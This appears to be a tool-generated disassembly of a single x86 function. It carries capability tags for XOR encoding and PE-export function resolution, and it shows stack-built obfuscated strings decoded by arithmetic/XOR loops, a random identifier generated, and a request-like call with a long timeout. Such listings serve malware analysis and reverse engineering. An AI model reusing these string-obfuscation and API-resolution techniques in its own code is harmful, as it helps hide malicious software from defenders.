Function at 0x40de60
Capabilities:
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x118
cmp dword [ecx + 0x20], 0
je 0x40e3a7
lea eax, [ecx + 0x10]
push eax
mov esi, ecx
call fcn.0040ab40
add esp, 4
mov eax, dword [esi + 0x10]
mov dword [esp + 8], eax
mov dword [esp + 4], esi
mov eax, dword [esi + 0x58]
mov eax, dword [eax + 0x48]
mov dword [esp + 0x10], eax
mov dword [esp + 0x7c], 0xbc3c3938
mov word [esp + 0x80], 0
mov byte [esp + 0x82], 0
mov edx, 0xd5bd050a
mov edi, 0x2a42faf5
nop
nop
nop
nop
nop
movzx eax, byte [esp + edx + 0x2a42fb72]
mov ebx, edx
and ebx, eax
add ebx, ebx
sub ebx, eax
mov esi, eax
add ebx, edi
and ebx, edx
mov eax, ebx
or al, 0xfd
inc al
mov ecx, ebx
and cl, 0x1d
mul cl
mov ecx, eax
mov eax, esi
add cl, al
mov eax, ebx
shr al, 1
and al, 1
or bl, 2
mul bl
add al, al
sub cl, al
movzx eax, cl
add eax, edx
add al, 0xce
mov byte [esp + edx + 0x2a42fb72], al
inc edx
dec edi
cmp edx, 0xd5bd0511
jne 0x40dec0
mov eax, dword [esp + 0x7c]
push dword [eax + 0x14]
call fcn.0040d280
add esp, 4
call fcn.0040d290
mov dword [esp + 0x18], eax
mov ebx, eax
and ebx, 0xf
mov edi, 0xfffffff0
mov ebp, 0x38e38e39
mov esi, dword [esp + 4]
nop
nop
nop
nop
nop
call fcn.0040d290
mov ecx, eax
imul ebp
mov eax, edx
shr eax, 0x1f
sar edx, 3
add edx, eax
shl edx, 2
lea eax, [edx + edx*8]
neg eax
movzx eax, byte [ecx + eax + str.0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ]
mov byte [esi + edi + 0x70], al
inc edi
cmp ebx, edi
jne 0x40df40
mov byte [esi + edi + 0x70], 0
movzx eax, byte [esi]
imul ecx, eax, 0xcd
shr ecx, 0xa
and ecx, 0xfffffffe
lea ecx, [ecx + ecx*4]
sub al, cl
movzx eax, al
movzx eax, byte [eax + str.0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ]
mov byte [esp + 2], al
mov byte [esp + 3], 0
mov eax, dword [esp + 8]
add eax, 0x400
push eax
call fcn.0040cc40
add esp, 4
mov ebp, eax
mov dword [esp + 0x7c], 0x879b9698
mov byte [esp + 0x80], 0x24
mov dword [esp + 0x81], 0
xor eax, eax
nop
nop
nop
nop
nop
nop
nop
mov ecx, eax
add cl, 8
xor cl, byte [esp + eax + 0x7c]
add cl, 0xd8
mov byte [esp + eax + 0x7c], cl
inc eax
cmp eax, 9
jne 0x40dfd0
lea edi, [esp + 0x7c]
mov ecx, esi
push 0x44b044
push edi
push ebp
call fcn.0040d660
mov dword [esp + 0x7c], 0x69cec4f4
mov word [esp + 0x80], 0
mov eax, 0x45519317
nop
movzx ecx, byte [esp + eax - 0x4551929b]
mov edx, ecx
and edx, eax
add dl, dl
sub cl, dl
movzx ecx, cl
add ecx, eax
add cl, 0x8d
mov byte [esp + eax - 0x4551929b], cl
inc eax
cmp eax, 0x4551931d
jne 0x40e010
mov dword [esp + 0x14], ebx
lea eax, [esp + 2]
mov ecx, esi
push eax
push edi
push ebp
call fcn.0040d660
mov eax, dword [str.tLYMe5__2]
mov dword [esp + 0x7c], 0x1eaecf0
mov word [esp + 0x80], 0
mov byte [esp + 0x82], 0
xor ecx, ecx
nop
nop
nop
nop
nop
nop
mov edx, ecx
add dl, 0x41
xor dl, byte [esp + ecx + 0x7c]
add dl, 0xbb
mov byte [esp + ecx + 0x7c], dl
inc ecx
cmp ecx, 7
jne 0x40e070
mov ecx, esi
push eax
push edi
push ebp
call fcn.0040d660
mov dword [esp + 0x7c], 0xcbc4c4f7
mov dword [esp + 0x80], 0xfccfc0d7
mov dword [esp + 0x84], 0xf2f5d0ff
mov byte [esp + 0x88], 0x4c
mov dword [esp + 0x89], 0
mov word [esp + 0x8d], 0
xor eax, eax
nop
nop
nop
movzx edx, byte [esp + eax + 0x7c]
mov ecx, eax
xor ecx, 0x6dac68e9
mov ebx, eax
or ebx, 0x16
and ebx, ecx
mov ecx, eax
xor ecx, 0x12539716
lea ecx, [ecx + ebx*2]
xor ecx, edx
add ecx, 0xa45e0c91
mov edx, ecx
and edx, 1
or ecx, 1
add ecx, edx
mov byte [esp + eax + 0x7c], cl
inc eax
cmp eax, 0x13
jne 0x40e0d0
mov dword [esp + 0x1c], 0xd1baaaaf
mov word [esp + 0x20], 0
mov byte [esp + 0x22], 0
mov eax, 0xb2
mov ecx, 0xb2
nop
nop
nop
nop
nop
nop
nop
movzx edx, byte [esp + eax - 0x96]
mov ebx, ecx
and ebx, edx
not edx
or edx, ecx
add edx, eax
add edx, 0xffffff9c
or edx, ebx
add dl, 0x7f
mov byte [esp + eax - 0x96], dl
dec ecx
inc eax
cmp ecx, 0xab
jne 0x40e130
lea eax, [esp + 0x1c]
mov ecx, dword [esp + 4]
push edi
push eax
mov dword [esp + 0x14], ebp
push ebp
call fcn.0040d660
mov dword [esp + 0x7c], 0xe6eee8e6
mov byte [esp + 0x80], 0x44
mov dword [esp + 0x81], 0
xor eax, eax
mov ecx, 0xee81748f
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx edx, byte [esp + eax + 0x7c]
lea ebx, [edx + edx]
not ebx
add ebx, edx
and ebx, 8
mov ebp, ecx
and ebp, 0x8e006408
mov esi, eax
and esi, 7
xor edx, 0x8e3ced08
or edx, ebx
lea ebx, [esi + ebp]
add ebx, 0x11420270
xor ebx, edx
mov edx, ebx
not edx
and edx, 0x91
and ebx, 0x6e
sub ebx, edx
add bl, 0x61
mov byte [esp + eax + 0x7c], bl
inc eax
dec ecx
cmp eax, 9
jne 0x40e1a0
mov ebx, dword [esp + 4]
mov ecx, ebx
push dword [esp + 8]
push dword [esp + 0x14]
push edi
push dword [esp + 0x18]
call fcn.0040d980
mov dword [esp + 0x1c], 0x239d2163
mov dword [esp + 0x20], 0x2792259a
mov dword [esp + 0x24], 0x3b84399d
mov dword [esp + 0x28], 0x3f433d88
mov dword [esp + 0x2c], 0x33bb3164
mov dword [esp + 0x30], 0x37933584
mov dword [esp + 0x34], 0xb6a0942
mov dword [esp + 0x38], 0xfbb0db1
mov dword [esp + 0x3c], 0x3b601bc
mov dword [esp + 0x40], 0x7b605bd
mov dword [esp + 0x44], 0x1ba819b9
mov dword [esp + 0x48], 0x1f611da8
mov dword [esp + 0x4c], 0x13ad11b6
mov dword [esp + 0x50], 0x17ab15a6
mov dword [esp + 0x54], 0x6bce6915
mov dword [esp + 0x58], 0x6fda6dcd
mov dword [esp + 0x5c], 0x632961c1
mov dword [esp + 0x60], 0x67c46504
mov dword [esp + 0x64], 0x7bcf79c7
mov dword [esp + 0x68], 0x7fda7dc2
mov dword [esp + 0x6c], 0x73c071d1
mov dword [esp + 0x70], 0x773b75fd
mov word [esp + 0x74], 0x4948
mov byte [esp + 0x78], 0
mov word [esp + 0x76], 0
xor eax, eax
nop
nop
nop
nop
nop
nop
nop
mov ecx, eax
add cl, 8
xor cl, byte [esp + eax + 0x1c]
add cl, 0xd8
mov byte [esp + eax + 0x1c], cl
inc eax
cmp eax, 0x5d
jne 0x40e2d0
movzx eax, word [esp + 0x1c]
test ax, ax
mov edx, dword [esp + 0x18]
je 0x40e311
lea edi, [esp + 0x7c]
lea ecx, [esp + 0x1e]
nop
nop
nop
nop
mov word [edi], ax
add edi, 2
movzx eax, word [ecx]
add ecx, 2
test ax, ax
jne 0x40e300
mov word [edi], 0
and edx, 7
mov ebp, edx
mov eax, dword [esp + 0x14]
sub eax, edx
lea edx, [eax*2 + 0x20]
xor eax, eax
xor ecx, ecx
nop
nop
nop
nop
movsx esi, byte [ebx + ecx + 0x60]
mov word [edi + eax], si
movsx esi, byte [ebx + ecx + 0x61]
mov word [edi + eax + 2], si
movsx esi, byte [ebx + ecx + 0x62]
mov word [edi + eax + 4], si
movsx esi, byte [ebx + ecx + 0x63]
mov word [edi + eax + 6], si
movsx esi, byte [ebx + ecx + 0x64]
mov word [edi + eax + 8], si
movsx esi, byte [ebx + ecx + 0x65]
mov word [edi + eax + 0xa], si
movsx esi, byte [ebx + ecx + 0x66]
mov word [edi + eax + 0xc], si
movsx esi, byte [ebx + ecx + 0x67]
mov word [edi + eax + 0xe], si
add ecx, 8
add eax, 0x10
cmp edx, eax
jne 0x40e330
test ebp, ebp
je 0x40e3ae
neg eax
nop
movsx edx, byte [ebx + ecx + 0x60]
mov word [edi + ecx*2], dx
inc ecx
add eax, 0xfffffffe
dec ebp
jne 0x40e390
sub edi, eax
lea ecx, [edi - 2]
jmp 0x40e3b6
mov bl, 1
jmp 0x40e467
lea ecx, [edi + eax]
add ecx, 0xfffffffe
add edi, eax
mov word [edi], 0xd
mov dword [ecx + 4], 0xa
mov edi, dword [ebx + 0x80]
mov dword [esp + 0x1c], 0x6303615f
mov dword [esp + 0x20], 0x671f6514
mov word [esp + 0x24], 0x7978
mov dword [esp + 0x26], 0
mov word [esp + 0x2a], 0
xor ecx, ecx
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov esi, ecx
and esi, 0x10
mov ebx, edx
xor ebx, 0x97
sub ebx, esi
xor bl, byte [esp + edx + 0x1c]
mov al, 0xf7
sub al, bl
mov byte [esp + edx + 0x1c], al
inc edx
add ecx, 2
cmp edx, 0x10
jne 0x40e400
lea eax, [esp + 0x7c]
push 0x493e0
push edi
mov esi, dword [esp + 0x14]
push esi
push 0
push 0
push eax
lea eax, [esp + 0x34]
push eax
call fcn.004105b0
add esp, 0x1c
mov ebx, eax
push esi
call fcn.0040cc50
add esp, 4
mov ecx, dword [esp + 4]
mov eax, dword [ecx + 0x80]
add dword [ecx + 4], eax
mov dword [ecx + 0x80], 0
mov eax, ebx
add esp, 0x118
pop esi
pop edi
pop ebx
pop ebp
ret